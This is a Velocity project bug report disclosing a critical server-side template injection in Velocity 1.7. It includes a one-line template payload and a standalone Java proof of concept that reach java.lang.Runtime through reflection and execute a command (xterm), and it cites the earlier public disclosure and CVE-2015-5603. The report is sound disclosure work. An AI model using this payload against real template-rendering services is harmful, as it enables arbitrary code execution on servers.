Markus Wulftange created VELOCITY-877:
-----------------------------------------
Summary: Access to critical fields/methods allows execution of
arbitrary code ('Template Injection')
Key: VELOCITY-877
URL: https://issues.apache.org/jira/browse/VELOCITY-877
Project: Velocity
Issue Type: Bug
Components: Engine
Affects Versions: 1.7
Reporter: Markus Wulftange
Priority: Critical
It is possible to reference certain fields/methods, which eventually allow the
execution of arbitrary methods.
For example, by utilizing the '{{class}}' field or '{{getClass()}}' method of
any variable, it is possible to get the variable's class object. This can be
extended to get arbitrary class objects and execute arbitrary methods.
For example, the following statement results in the execution of the
'{{xterm}}':
{code}
$var.class.class.forName('java.lang.Runtime').getRuntime().exec('xterm').waitFor()
{code}
As a standalone:
{code:java}
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.apache.velocity.context.Context;
public class VelocityTest {
public static void main(String[] args) {
Context context = new VelocityContext();
context.put("var", "foo");
String instring =
"#set($String=$var.class.class.forName('java.lang.String'))"
+
"#set($Character=$var.class.class.forName('java.lang.Character'))"
+
"#set($Runtime=$var.class.class.forName('java.lang.Runtime'))"
+
"#set($proc=$Runtime.getRuntime().exec('xterm'))$proc.waitFor()";
Velocity.evaluate(context, null, "templateName", instring);
}
}
{code}
This issue has already been made public in the past by James Kettle in August
2015 (see
http://blog.portswigger.net/2015/08/server-side-template-injection.html#Velocity)
and via CVE-2015-5603 (see
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5603) and possibly
others.
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